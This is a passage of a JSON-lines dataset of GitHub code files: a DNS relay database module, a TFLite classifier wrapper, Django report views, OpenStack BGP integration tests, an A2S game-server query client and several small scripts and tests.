能处理远端服务器发送的多条资源记录；\n        '''\n        if records:\n            condition=('INSERT INTO dnsrr (NAME,TYPE,CLASS,TTL,RDATA,TIMESTAMP) VALUES(%s,%s,%s,%s,%s,%s)')\n            for item in records:\n                try:\n                    self._cursor.execute(condition, item)\n                    self._connect.commit()\n                except Exception as error:\n                    print(\"insert error = %s\"%error)\n                # self._cursor.executemany(condition,[record for record in records])      \n                # self._connect.commit()\n                # print('-Insert success')\n                # print(error)\n                # print('-Insert failed')\n        else:\n            pass\n\ndef _get_records(message):\n    '''\n    若数据库查询失败\n    从远端服务器返回的响应包（已拆好）中提取所需RRs信息\n    返回列表类型的资源记录\n    仅支持type_list的4种类型，其他的丢弃\n    eg.  [ ('flits','A','IN',86400,'130.37.16.112'),\n           ('flits','A','IN',86400,'192.31.231.165') ] \n    '''\n\n    RR_count = message.RRNum\n    records = []\n    type_list = ['A','CNAME','MX','NS']\n    current_time=int(time.time())\n    for i in range(0,RR_count):\n        if message.RRs[i].TYPE in type_list:\n            records.append( (\n                        str(message.RRs[i].NAME),\n                        str(message.RRs[i].TYPE),\n                        str(message.RRs[i].CLASS),\n                            message.RRs[i].TTL,\n                        str(message.RRs[i].RDATA),\n                        current_time\n\n            ) )\n        \n        else:\n            # print('-Nonidentifiable type has been discarded')\n            records = []\n            break\n    return records\n \n\ndef buildResponse(message,  result):\n    '''\n    \n    构造回复包，message为原包，type为查询的type, result为查询的结果,不包含True\n    返回：DNSMessage response\n    '''\n    # RR_list = result\n    \n\n    ID = message.header.ID\n    # flag段\n\t#   |QR|  opcode   |AA|TC|RD|RA|   Z    |   RCODE   |\n    QR = 1\n    opCode= message.header.opCode\n    AA = 0\n    TC = message.header.TC\n    RD = message.header.RD\n    RA = message.header.RA\n    Z  = 0\n    \n    QDCOUNT = message.questionNum\n    NSCOUNT = 0\n    ARCOUNT = 0\n    \n    #只有一个question\n    question = message.questions[0]\n    QNAME = question.QNAME\n    QTYPE = question.QTYPE\n    QCLASS= question.QCLASS\n   \n    # RRNAME = question.QNAME\n    # RRTYPE = question.QTYPE\n    # RRCLASS= question.QCLASS\n    RRS    = []\n\n    banned = False\n    for item in result:\n        if item[4] == '0.0.0.0':\n            banned = True\n            break\n    if banned == True:\n        RRnum = 0\n        RCODE = 3\n        ANCOUNT = 0\n    else:\n        RRnum = len(result)\n        RCODE = 0\n        ANCOUNT = RRnum\n        for rr in result:\n            record = DNSRR(rr[0], rr[1], rr[2], rr[3], 0, rr[4])\n            RRS.append(record)\n    # if '0.0.0.0' in result  :\n    #     RRnum = 0\n    #     RCODE = 3\n    #     ANCOUNT = 0\n    # else:\n    #     RRnum  = len(result)\n    #     RCODE = 0\n    #     ANCOUNT = RRnum\n    #     for rrs in RR_list:\n    #         rr_list=DNSRR(RRNAME,RRTYPE,RRCLASS,86400,0,rrs)\n    #         RRS.append(rr_list)\n\n    question = DNSQuestion(QNAME,QTYPE,QCLASS)\n    questions = []\n    questions.append(question)\n    header = DNSHeader(ID,QR,opCode,AA,TC,RD,RA,Z,RCODE,QDCOUNT,ANCOUNT,NSCOUNT,ARCOUNT)\n    response = DNSMessage(header,questions,RRS)\n    return response\n\n#-----------以下均为测试用例------------  #          \n\n# # 构造测试包 测试RRs的输出格式  \n# def testMessage():\n#     header = DNSHeader(2, 1, 0,0,0,1,1,0,0,1,5,0,0)\n#     query = DNSQuestion(\"www.bing.com\", 'A', 'IN')\n#     RR1 = DNSRR('www.bing.com', 'CNAME', 'IN', 210, 42, 'a-0001.a-afdentry.net.trafficmanager.net')\n#     RR2 = DNSRR('a-0001.a-afdentry.net.trafficmanager.net', 'CNAME', 'IN', 139, 23, 'cn.cn-0001.cn-msedge.net')\n#     RR3 = DNSRR('NS-leixingjiance', 'NS', 'IN', 31, 2, 'cn-0001.cn-msedge.net')\n#     RR4 = DNSRR('MX-leixingjiance', 'MX', 'IN', 34, 4, '0.0.0.0')\n#     RRS = []\n#     RRS.append(RR1)\n#     RRS.append(RR2)\n#     RRS.append(RR3)\n#     RRS.append(RR4)\n#     questions = []\n#     questions.append(query)\n#     message = DNSMessage(header, questions, RRS)\n#     return message\n\n# def test_buildQuerypacket():\n#     header = DNSHeader(2, 1, 0,0,0,1,1,0,0,1,0,0,0)\n#     query = DNSQuestion('cn-0001.cn-msedge.net', 'A', 'IN')\n    \n#     questions = []\n#     questions.append(query)\n#     message = DNSMessage(header, questions)\n#     return message\n\n# def test_buildResponse():\n#     querypacket = test_buildQuerypacket()\n#     db = DNS_DB()\n#     db._connect_db()\n#     # result  = db.getDomainIpMap('www.bing.com', 'A', 'IN')\n#     # result_list = result[0]\n#     result_list=('0.0.0.0')\n#     db._close_db()\n#     response = buildResponse(querypacket,result_list)\n#     return response\n\n# #response = test_buildResponse()\n\n\n# def records_print_test():\n#     mes   = testMessage()\n#     count = mes.RRNum\n#     print('RRSnum = ',count)\n#     a = []\n#     for i in range(0,count):\n#         a.append(mes.RRs[i])\n#     j=1\n#     for b in a:\n#         print('RRs[{}] = '.format(j),b.NAME,b.TYPE,b.CLASS,b.TTL,b.RDATA,'\\n')\n#         j+=1\n# #records_print_test()\n\n# # _get_records测试\n# def _get_records_test():\n#     mes = testMessage()\n#     result = _get_records(mes)\n#     if result:\n#         print(result)\n#         for item in result:\n#             print(item)\n\n#_get_records_test()\n\n\n# 数据库连接,查询，\n# 插入来自远端服务器响应包的RR测试\n# 测试成功-- 4/24\n\n# 新增'MX','NS'类型\n# 测试成功-- 5/3\n# def conn_test():\n#     mes = testMessage()\n#     db = DNS_DB()\n#     result = db.getDomainIpMap('ASFASFDAe.net', 'MX', 'IN')      \n#     print(result)\n#     if  result[-1] == False :\n#         records = _get_records(mes)\n#         db._insert_db(records)\n#     else:\n#         db._close_db()\n\n# conn_test()\n\n\n            #当前的资源记录表\n            # ('www.baidu.com','A','IN',86400,'111.13.100.91'),\n\t\t    # ('www.123.com','A','IN',86400,'61.132.13.130'),\n\t\t\t# ('cctv1.net','A','IN',86400,'0.0.0.0') , \n            # ('www','CNAME','IN',86400,'star.cs.vu.nl'),\n            # ('cs.vu.nl','SOA','IN',86400,'star boss(9257,7200,7200,241920,86400)'),\n            # ('cs.vu.nl','MX','IN',86400,'1 zephyr'),\n            # ('cs.vu.nl','MX','IN',86400,'2 top')\n            # 插入多行成功\n            # ('flits','A','IN',86400,'130.37.16.112')\n            # ('flits','A','IN',86400,'192.31.231.165')\n            # ('flits','MX','IN',86400,'1 flits')\n            # ('flits','MX','IN',86400,'2 zephyr')\n            # ('flits','MX','IN',86400,'3 top')\n            # （'laserjet','A','IN','0','130.37.62.23')\n            \n\n# 数据库连接,多个response插入测试\ndef conn_test():\n    db = DNS_DB()\n    db._connect_db()\n    result = db.getDomainIpMap(\"www.baidu.com\", 'CNAME', 'IN')\n    print(result)\n    db._close_db()\n    \n#     mes = testMessage()  \n#     print(result)\n#     if  result[-1] == False :\n#         records = _get_records(mes)\n#         db._insert_db(records)\n                   \n    \n# conn_test()\n    \n          \n\n\n\n\n\n\n  \n","repo_name":"Spirit597/Project-in-BUPT","sub_path":"DNSRelay-Section of Database/FileProcess.py","file_name":"FileProcess.py","file_ext":"py","file_size_in_byte":11088,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"21577802723","text":"# -*- coding: UTF-8 -*-\r\n#!/usr/bin/python\r\nimport requests\r\nfrom bs4 import BeautifulSoup\r\n#获取模拟器页\r\nmainPage = requests.get('http://www.lovelivewiki.com/w/11%E8%BF%9E%E6%A8%A1%E6%8B%9F%E5%99%A8')\r\n#转换成beautifulsoup对象\r\nmainSoul = BeautifulSoup(mainPage.text)\r\ndef getArgs():\r\n    args = [];\r\n    LBound = mainSoul.find(id='LBound').text\r\n    RBound = mainSoul.find(id='RBound').text\r\n    ACard = mainSoul.find(id='ACard').text\r\n    BCard = mainSoul.find(id='BCard').text\r\n    args.append({\"LBound\":LBound});\r\n    args.append({\"RBound\":RBound});\r\n    args.append({\"ACard\":ACard});\r\n    args.append({\"BCard\":BCard});\r\n    return args;","repo_name":"AziCat/LLWikiInterface","sub_path":"LL/service/recruitService.py","file_name":"recruitService.py","file_ext":"py","file_size_in_byte":654,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"70850505928","text":"import tensorflow as tf\nimport numpy as np\nfrom PIL import Image\n\n\nclass TensorflowLiteClassificationModel:\n    def __init__(self, model_path, image_size=120):\n        self.interpreter = tf.lite.Interpreter(model_path=model_path)\n        self.interpreter.allocate_tensors()\n        self._input_details = self.interpreter.get_input_details()\n        self._output_details = self.interpreter.get_output_details()\n        self.image_size = image_size\n\n    def run_from_filepath(self, image_path):\n        input_data_type = self._input_details[0][\"dtype\"]\n        image = np.array(Image.open(image_path).resize((self.image_size, self.image_size)), dtype=input_data_type)\n        if input_data_type == np.float32:\n            image = image / 255.\n\n        if image.shape == (1, 120, 120):\n            image = np.stack(image * 3, axis=0)\n\n        return self.run(image)\n\n    def run(self, image):\n        \"\"\"\n        args:\n          image: a (1, image_size, image_size, 3) np.array\n\n        Returns list of [Label, Probability], of type List<str, float>\n        \"\"\"\n\n        self.interpreter.set_tensor(self._input_details[0][\"index\"], image)\n        self.interpreter.invoke()\n        tflite_interpreter_output = self.interpreter.get_tensor(self._output_details[0][\"index\"])\n        probabilities = np.array(tflite_interpreter_output[0])\n        # create list of [\"label\", probability], ordered descending probability\n        label_to_probabilities = []\n        for i, probability in enumerate(probabilities):\n            label_to_probabilities.append([i, float(probability)])\n        return sorted(label_to_probabilities, key=lambda element: element[1])[0]\n","repo_name":"xuanhieu16dt1/classification-Core-1200-930","sub_path":"classes.py","file_name":"classes.py","file_ext":"py","file_size_in_byte":1651,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"6424949525","text":"from setuptools import setup, find_packages\n\nwith open('README.md', 'r') as f:\n    long_description = f.read()\n\nclassifiers = [\n    'Programming Language :: Python :: 3.5',\n    'Programming Language :: Python :: 3.6',\n    'Programming Language :: Python :: 3.7',\n    'License :: OSI Approved :: MIT License',\n    'Operating System :: OS Independent'\n]\n\nkeywords = [\n    'sql', 'sqlite', 'sqlite3', 'database',\n    'data-science', 'data-analysis', 'python'\n]\n\nsetup(\n    name='faro',\n    version='0.0.2',  # see https://semver.org\n    description='An SQL-focused data analysis library for Python.',\n    long_description=long_description,\n    long_description_content_type='text/markdown',\n    url='http://github.com/yanniskatsaros/faro',\n    author='Yannis Katsaros',\n    author_email='yanniskatsaros@hotmail.com',\n    license='MIT',\n    packages=find_packages(),\n    install_requires=['pandas'],\n    zip_safe=False,\n    classifiers=classifiers,\n    keywords=' '.join(keywords)\n)\n","repo_name":"yanniskatsaros/faro","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":979,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"16"}
+{"seq_id":"23294216405","text":"from solution import get_details\n\n\ndef test_get_details() -> None:\n    actual = get_details([1, 2, 3, 4, 5, 6])\n    expected = 'Index - 0 | Element - 1\\n'\\\n               'Index - 1 | Element - 2\\n'\\\n               'Index - 2 | Element - 3\\n'\\\n               'Index - 3 | Element - 4\\n'\\\n               'Index - 4 | Element - 5\\n'\\\n               'Index - 5 | Element - 6\\n'\n    assert actual == expected, 'Неправильный формат выходных данных, либо неверное решение'\n","repo_name":"bru404/training_python","sub_path":"01_get_details/tests_get_details.py","file_name":"tests_get_details.py","file_ext":"py","file_size_in_byte":518,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"5421469049","text":"# -*- coding: utf-8 -*-\n\nfrom __future__ import unicode_literals\n\nimport sys\nimport json\nfrom django.shortcuts import render, redirect, HttpResponse, render_to_response\nfrom django.utils.decorators import method_decorator\nfrom django.views.decorators.csrf import csrf_exempt\nfrom tbs_dc_dtv.libs.display import models\nfrom tbs_dc_dtv.core import visual_report_config\nfrom tbs_dc_dtv.core import visual_report_data\nfrom tbs_dc_dtv.core import visual_report_menu\nfrom tbs_dc_dtv.utils.cache_tool import CacheData\nfrom tbs_dc_dtv.core import visual_admin\nfrom tbs_dc_dtv.config import setting\nfrom tbs_dc_dtv.core import visual_menu_create\n\n\nreload(sys)\nsys.setdefaultencoding(\"utf8\")\n\n\n# 认证装饰器\ndef authentication(fun):\n    \"\"\"\n    更具cookie传递的信息，是否已经登入，如果登入就查看是否在查看权限列表，如果不在权限列表，返回数据报表平台\n    :param fun:\n    :return:\n    \"\"\"\n    def wrapper(request, *args, **kwargs):\n        session_id = request.COOKIES.get('PHPSESSID')\n        # 第一步登入判断\n        if not session_id:\n            return redirect(setting.REDIRECT_URL+'/account/login')\n        else:\n            cache_obj = CacheData()\n            user_obj = cache_obj.get_user_obj(session_id)\n            if not user_obj.get_uid:\n                return redirect(setting.REDIRECT_URL + '/account/login')\n            request.cache_obj = cache_obj\n            request.user = user_obj\n            if 3 in user_obj.get_user_role_type or 5 in user_obj.get_user_role_type:\n                pass\n            else:\n                request.report_menu = visual_menu_create.get_menu_obj(user_obj.get_uid)\n            # 是否有访问数据可视化权限\n            if not user_obj.get_navigation:\n                return redirect(setting.REDIRECT_URL + '/account/login')\n            elif '5' in user_obj.get_navigation.keys():\n                if request.path in ['/visual/menu_setting/', '/visual/report_setting/',\n                                    '/visual/block_setting/', '/visual/admin/']:\n                    if 3 in user_obj.get_user_role_type or 5 in user_obj.get_user_role_type:\n                        pass\n                    else:\n                        return redirect('/visual/index/')\n                return fun(request, *args, **kwargs)\n            else:\n                return redirect(setting.REDIRECT_URL+'/report/view/index')\n    return wrapper\n\n\n# 首页\n@authentication\ndef visual_index_view(request):\n    return render(request, 'public/index.html')\n\n\n# 报表展示\n@method_decorator(csrf_exempt)\n@authentication\ndef visual_report_view(request):\n    \"\"\"\n    对报表进行展示视图，分为有时间过滤条件，无时间过滤条件\n    :param request:\n    :return:\n    \"\"\"\n    if request.method == \"GET\":\n        if request.GET.get('bid'):\n            # 接收前端的ajax请求，从数据库中获取对应数据块的数据并返回\n            data = visual_report_data.get_visual_report_block_data(request)\n            return HttpResponse(json.dumps(data))\n        elif request.GET.get('vid'):\n            # 直接返回对应可视化报表id的页面\n            vid = request.GET.get('vid')\n            if int(vid) in request.user.get_vid_list:\n                block_objs = models.BdpVisualBlockConfig.objects.filter(vid_id=int(vid))\n                report_obj = models.BdpVisualReport.objects.filter(vid=int(vid)).values('report_type', 'report_name')\n                return render(request, 'report/visual_view.html', {'block_objs': block_objs, 'report_obj': report_obj})\n            else:\n                return render(request, 'public/index.html')\n        else:\n            return render(request, 'report/visual_view.html')\n    else:\n        # 时间字段过滤时组合新的sql语句，执行并返回\n        data = visual_report_data.get_visual_report_block_data(request)\n        return HttpResponse(json.dumps(data))\n\n\n# 菜单配置\n@method_decorator(csrf_exempt)\n@authentication\ndef visual_menu_setting_view(request):\n    \"\"\"\n    对报表菜单进行添加，更新，删除操作\n    :param request:\n    :return:\n    \"\"\"\n    if request.method == 'GET':\n        return render(request, 'report/visual_menu_config.html')\n    elif request.method == \"POST\":\n        response_data = visual_report_menu.add_report_menu_info(request)\n        return HttpResponse(json.dumps(response_data))\n    elif request.method == 'PUT':\n        response_data = visual_report_menu.update_report_menu_info(request)\n        return HttpResponse(json.dumps(response_data))\n    else:\n        response_data = visual_report_menu.del_report_menu_info(request)\n        return HttpResponse(json.dumps(response_data))\n\n\n# 报表内容配置\n@method_decorator(csrf_exempt)\n@authentication\ndef visual_block_setting_view(request):\n    \"\"\"\n    可视化报表块配置\n        ：post--->更新\n        ：delete--->删除\n        ：put--->添加\n    :param request:\n    :return:\n    \"\"\"\n    if request.method == \"POST\":\n        response = visual_report_config.update_report_block(request)\n        return HttpResponse(json.dumps(response))\n    elif request.method == \"DELETE\":\n        response = visual_report_config.delete_report_block(request)\n        return HttpResponse(json.dumps(response))\n    elif request.method == \"PUT\":\n        response = visual_report_config.add_report_block(request)\n        return HttpResponse(json.dumps(response))\n\n\n# 报表配置\n@method_decorator(csrf_exempt)\n@authentication\ndef visual_report_setting_view(request):\n    \"\"\"\n    报表配置：添加报表，名称修改，报表删除等操作\n    :param request:\n    :return:\n    \"\"\"\n    if request.method == 'POST':\n        response = visual_report_config.update_report(request)\n        return HttpResponse(json.dumps(response))\n    elif request.method == 'PUT':\n        response = visual_report_config.add_report(request)\n        return HttpResponse(json.dumps(response))\n    else:\n        response = visual_report_config.del_report(request)\n        return HttpResponse(json.dumps(response))\n\n\n# 权限管理\n@method_decorator(csrf_exempt)\n@authentication\ndef visual_admin_view(request):\n    if request.method == 'GET':\n        if request.GET.get('uid'):\n            response = visual_admin.get_permission_tree_data(request)\n            return HttpResponse(json.dumps(response))\n        else:\n            return render(request, 'report/visual_system_admin.html')\n    elif request.method == 'POST':\n        response = visual_admin.get_user_data(request)\n        return HttpResponse(json.dumps(response))\n    elif request.method == 'PUT':\n        response = visual_admin.set_permission(request)\n        return HttpResponse(json.dumps(response))\n    else:\n        return HttpResponse()\n\n\n# 跳转到数据中心\n@authentication\ndef visual_redirect_report(reqeust):\n    return redirect(setting.REDIRECT_URL+'/report/view')\n\n\n# 注销\n@authentication\ndef visual_logout(request):\n    return redirect(setting.REDIRECT_URL+'/account/login/out')\n\n\ndef page_not_found(request):\n    return render_to_response('public/404.html')\n\n\ndef page_error(request):\n    return render_to_response('public/50x.html')\n\n","repo_name":"WallaceWGT/tbs-dc-dtv-new","sub_path":"tbs_dc_dtv/apps/report/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":7158,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"8353722469","text":"import unittest\n\nfrom filesystem.explorer import Explorer\nfrom filesystem.tree import sum_directory_sizes\nfrom tree_tests import create_directory_structure\n\n\nclass ExplorerTests(unittest.TestCase):\n    def test_find_small_directories(self):\n        root = create_directory_structure()\n        explorer = Explorer(root)\n\n        small_directories = explorer.find_directories_smaller_than(100000)\n\n        self.assertEqual(2, len(small_directories))\n\n        total_size = sum_directory_sizes(small_directories)\n\n        self.assertEqual(95437, total_size)\n\n    def test_find_closest_larger_directory(self):\n        root = create_directory_structure()\n        explorer = Explorer(root)\n\n        directory, size = explorer.find_closest_larger_directory(8381165)\n\n        self.assertEqual('d', directory.name)\n        self.assertEqual(24933642, size)\n\n    def test_build_filesystem(self):\n        explorer = Explorer()\n\n        with open('command_log.txt') as file:\n            explorer.build_file_system(file)\n\n        small_directories = explorer.find_directories_smaller_than(100000)\n\n        self.assertEqual(2, len(small_directories))\n        self.assertEqual('a', small_directories[0].name)\n        self.assertEqual(94853, small_directories[0].total_size())\n        self.assertEqual('e', small_directories[1].name)\n        self.assertEqual(584, small_directories[1].total_size())\n\n\nif __name__ == '__main__':\n    unittest.main()\n","repo_name":"p-verburg/advent_of_code_2022","sub_path":"tests/filesystem/explorer_tests.py","file_name":"explorer_tests.py","file_ext":"py","file_size_in_byte":1430,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"28114822835","text":"from django.urls import path\nfrom .views import *\n\nurlpatterns = [\n    path('signin/', sign_in, name='signin'),\n    path('register/', registerview, name='new'),\n    path('search/', blood_search, name='search'),    #search\n    path('datas/', blood_records, name='datas'),\n    path('newpage/', newpage, name='forgot'),\n    path('homepage/', homepage),\n    path('login/', log_in, name='login'),     #login\n]","repo_name":"kishorekumar0814/Online_bloodbank","sub_path":"bloodbank/bloodapp/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":404,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"16"}
+{"seq_id":"29936644260","text":"import logging\nimport tenacity\nimport unittest\nimport zaza.openstack.charm_tests.neutron.tests as neutron_tests\n\nfrom zaza import model\nfrom zaza.openstack.utilities import (\n    cli as cli_utils,\n    juju as juju_utils,\n)\nfrom zaza.openstack.configure.bgp_speaker import NDR_TEST_FIP\n\n\nclass DRAgentTest(neutron_tests.NeutronNetworkingBase):\n    \"\"\"Class to encapsulate BPG tests.\"\"\"\n\n    BGP_PEER_APPLICATION = 'osci-frr'\n\n    def setUp(self):\n        \"\"\"Run setup actions specific to the class.\"\"\"\n        super().setUp()\n        self._peer_unit = model.get_units(\n            self.BGP_PEER_APPLICATION)[0].entity_id\n\n    @classmethod\n    def setUpClass(cls):\n        \"\"\"Run setup actions specific to the class.\"\"\"\n        super().setUpClass()\n        cli_utils.setup_logging()\n\n    @staticmethod\n    @tenacity.retry(wait=tenacity.wait_exponential(multiplier=1, max=60),\n                    reraise=True, stop=tenacity.stop_after_attempt(10))\n    def _assert_cidr_in_peer_routing_table(peer_unit, cidr):\n        logging.debug(\"Checking for {} on BGP peer {}\"\n                      .format(cidr, peer_unit))\n        # Run show ip route bgp on BGP peer\n        routes = juju_utils.remote_run(\n            peer_unit, remote_cmd='vtysh -c \"show ip route bgp\"')\n        logging.info(routes)\n        assert cidr in routes, (\n            \"CIDR, {}, not found in BGP peer's routing table: {}\"\n            .format(cidr, routes))\n\n    @staticmethod\n    @tenacity.retry(wait=tenacity.wait_exponential(multiplier=1, max=60),\n                    reraise=True, stop=tenacity.stop_after_attempt(10))\n    def _assert_ip_reachable_via_peer(peer_unit, address):\n        logging.debug(f\"Checking if {peer_unit} can reach {address} using \"\n                      f\"routes adverised by NDR\")\n        # Ping with -w specified will return an exit code if there is no\n        # response after the number of seconds specified. This is to ignore the\n        # first ping that may not arrive due to an ARP resolution.\n        juju_utils.remote_run(peer_unit, fatal=True,\n                              remote_cmd=f'ping -w4 {address}')\n\n    def test_bgp_routes(self):\n        \"\"\"Test BGP routes.\n\n        A test that checks only the control plane of Neutron Dynamic Routing.\n\n        :raises: AssertionError if expected BGP routes are not found\n        :returns: None\n        :rtype: None\n        \"\"\"\n        # Get expected advertised routes\n        private_cidr = self.project_subnet['cidr']\n        floating_ip_cidr = \"{}/32\".format(\n            self.neutron_client.list_floatingips(name=NDR_TEST_FIP)\n            [\"floatingips\"][0][\"floating_ip_address\"])\n\n        # This test may run immediately after configuration.\n        # It may take time for routes to propagate via BGP. Do a\n        # binary backoff.\n        self._assert_cidr_in_peer_routing_table(self._peer_unit, private_cidr)\n        logging.info(\"Private subnet CIDR, {}, found in routing table\"\n                     .format(private_cidr))\n        self._assert_cidr_in_peer_routing_table(self._peer_unit,\n                                                floating_ip_cidr)\n        logging.info(\"Floating IP CIDR, {}, found in routing table\"\n                     .format(floating_ip_cidr))\n\n    def test_instance_connectivity(self):\n        \"\"\"Test connectivity to instances via dynamic routes.\n\n        Make sure that with routes advertised via NDR it is actually possible\n        to reach instances from a unit that gets those routes programmed into\n        its routing table.\n        \"\"\"\n        # Get an instance but do not perform connectivity checks as the machine\n        # running those tests does not have the dynamic routes advertised to\n        # the peer unit by NDR.\n        fip_instance = self.launch_guest('fip-instance', instance_key='jammy',\n                                         perform_connectivity_check=False)\n\n        @tenacity.retry(wait=tenacity.wait_exponential(multiplier=1, max=60),\n                        reraise=True, stop=tenacity.stop_after_attempt(10))\n        def get_fip(nova_client, instance_id):\n            \"\"\"Try to get a FIP from an instance.\n\n            Instance FIPs may not be immediately accessible from the Nova\n            object after the instance creation so a retry logic is necessary.\n            \"\"\"\n            # The reason for looking up an instance object again is that the\n            # Nova client does not refresh address information after the\n            # initial retrieval.\n            instance = nova_client.servers.find(id=instance_id)\n            fips = neutron_tests.floating_ips_from_instance(instance)\n            if not fips:\n                raise tenacity.TryAgain\n            return fips[0]\n\n        fip = get_fip(self.nova_client, fip_instance.id)\n\n        # First check that the FIP is present in the peer unit's routing table.\n        self._assert_cidr_in_peer_routing_table(self._peer_unit, f'{fip}/32')\n        # Once it is, check if it is actually reachable.\n        self._assert_ip_reachable_via_peer(self._peer_unit, fip)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n","repo_name":"openstack-charmers/zaza-openstack-tests","sub_path":"zaza/openstack/charm_tests/dragent/tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":5089,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"16"}
+{"seq_id":"70869534728","text":"import socket\nimport struct\nimport typing\n\nfrom .data import SourceInfo, GoldSourceInfo, Player\nfrom .exceptions import InvalidResponse, SocketClosed\nfrom .parser import Parser\nfrom .enums import RequestType, ResponseType, ResponseFormat\n\n__all__ = (\"QueryResponse\", \"A2SQuery\")\n\n\nclass QueryResponse:\n\n    def __init__(self, response_type: ResponseType, response_format: ResponseFormat, data: bytes):\n        self.type = response_type\n        self.format = response_format\n        self.data = data\n\n\nclass A2SQuery:\n    \"\"\"Query various information from running Source/GoldSource game servers.\n\n    This class allows you to interface with servers that implement the A2S query protocol.\n    Each instance of A2SQuery opens a socket and connects to the specified server until closed.\n    A2SQuery will authenticate server challenge requests.\n    \"\"\"\n\n    def __init__(self, host: str, port: int = 27015, timeout: float = 10):\n        \"\"\"Create a new A2SQuery instance connected to the specified server.\n\n        Arguments:\n            host: The IP address of the server. Do not include a port here.\n            port: The query port of the server. This is the same as the connection port for most games.\n            timeout: How long to wait for connection/requests before timing out.\n        \"\"\"\n        self._socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\n        self._socket.connect((host, port))\n        self._socket.settimeout(timeout)\n\n    def __enter__(self):\n        return self\n\n    def __exit__(self, exc_type, exc_val, exc_tb):\n        if exc_val:\n            raise exc_val\n        self.close()\n\n    def close(self) -> None:\n        \"\"\"Close the query socket. All requests after this will fail.\"\"\"\n        self._socket.close()\n        self._socket = None\n\n    def _request(self, request_type: RequestType, body: str = None, challenge: int = -1) -> QueryResponse:\n        if self._socket is None:\n            raise SocketClosed(\"The socket has been closed. No more requests can be made.\")\n\n        if body is None:\n            body = \"\"\n\n        self._socket.send(struct.pack(\"<lB{}sl\".format(len(body)), -1, request_type.value, body.encode(), challenge))\n\n        response_data = self._socket.recv(65536)\n\n        parser = Parser(response_data)\n\n        response = QueryResponse(\n            response_format=ResponseFormat(parser.read_long()),\n            response_type=ResponseType(parser.read_byte()),\n            data=response_data[parser.index:]\n        )\n\n        if response.type is ResponseType.Challenge:\n            if challenge != -1:\n                raise InvalidResponse(\"Server requested too many challenges\")\n\n            return self._request(request_type, body, challenge=struct.unpack(\"<l\", response.data)[0])\n\n        return response\n\n    def info(self) -> typing.Union[SourceInfo, GoldSourceInfo]:\n        \"\"\"Query general information about the server.\n\n        Returns:\n            :class:`a2squery.SourceInfo` or :class:`a2squery.GoldSourceInfo` depending on server's engine/response.\n        \"\"\"\n        response = self._request(RequestType.Info, \"Source Engine Query\\x00\")\n\n        if response.type is ResponseType.InfoSource:\n            return Parser.parse_source_info(response.data)\n        if response.type is ResponseType.InfoGoldSource:\n            return Parser.parse_goldsource_info(response.data)\n\n        raise InvalidResponse(\"Invalid server response type (got {}, expected {} or {})\".format(response.type, ResponseType.InfoSource, ResponseType.InfoGoldSource))\n\n    def player(self) -> typing.List[Player]:\n        \"\"\"Query the server's current players/bots.\n\n        Returns:\n            List of Player objects\n        \"\"\"\n        response = self._request(RequestType.Player)\n\n        if response.type is ResponseType.Player:\n            return Parser.parse_players(response.data)\n\n        raise InvalidResponse(\"Invalid server response type (got {}, expected {})\".format(response.type, ResponseType.Player))\n\n    def players(self) -> typing.List[Player]:\n        \"\"\"Query the server's current players/bots.\n\n        This is an alias of A2SQuery.player().\n\n        Returns:\n            List of Player objects\n        \"\"\"\n        return self.player()\n\n    def rules(self) -> typing.Dict[str, str]:\n        \"\"\"Query the server's rules/configuration variables in key/value pairs.\n\n        The Console variables included are the ones marked with FCVAR_NOTIFY\n        as well as any additional ones listed in the server configuration.\n\n        Returns:\n            Key/value dictionary of rules\n        \"\"\"\n        response = self._request(RequestType.Rules)\n\n        if response.type is ResponseType.Rules:\n            return Parser.parse_rules(response.data)\n\n        raise InvalidResponse(\"Invalid server response type (got {}, expected {})\".format(response.type, ResponseType.Rules))\n","repo_name":"linKhehe/a2squery","sub_path":"a2squery/query.py","file_name":"query.py","file_ext":"py","file_size_in_byte":4839,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"30524549138","text":"class Solution:\n    def isSubsequence(self, s: str, t: str) -> bool:\n        pointer1 = 0\n        letternumber = 0\n        exitbool = False\n        while letternumber < len(s) and pointer1 < len(t):\n            \n            if s[letternumber] == t[pointer1]:\n                print(letternumber)\n                print(pointer1)\n                letternumber += 1\n            pointer1+=1\n        if letternumber == len(s): \n            return True\n        else: \n            return False\n            \n","repo_name":"Olivier520100/LeetCode","sub_path":"lc392.py","file_name":"lc392.py","file_ext":"py","file_size_in_byte":498,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
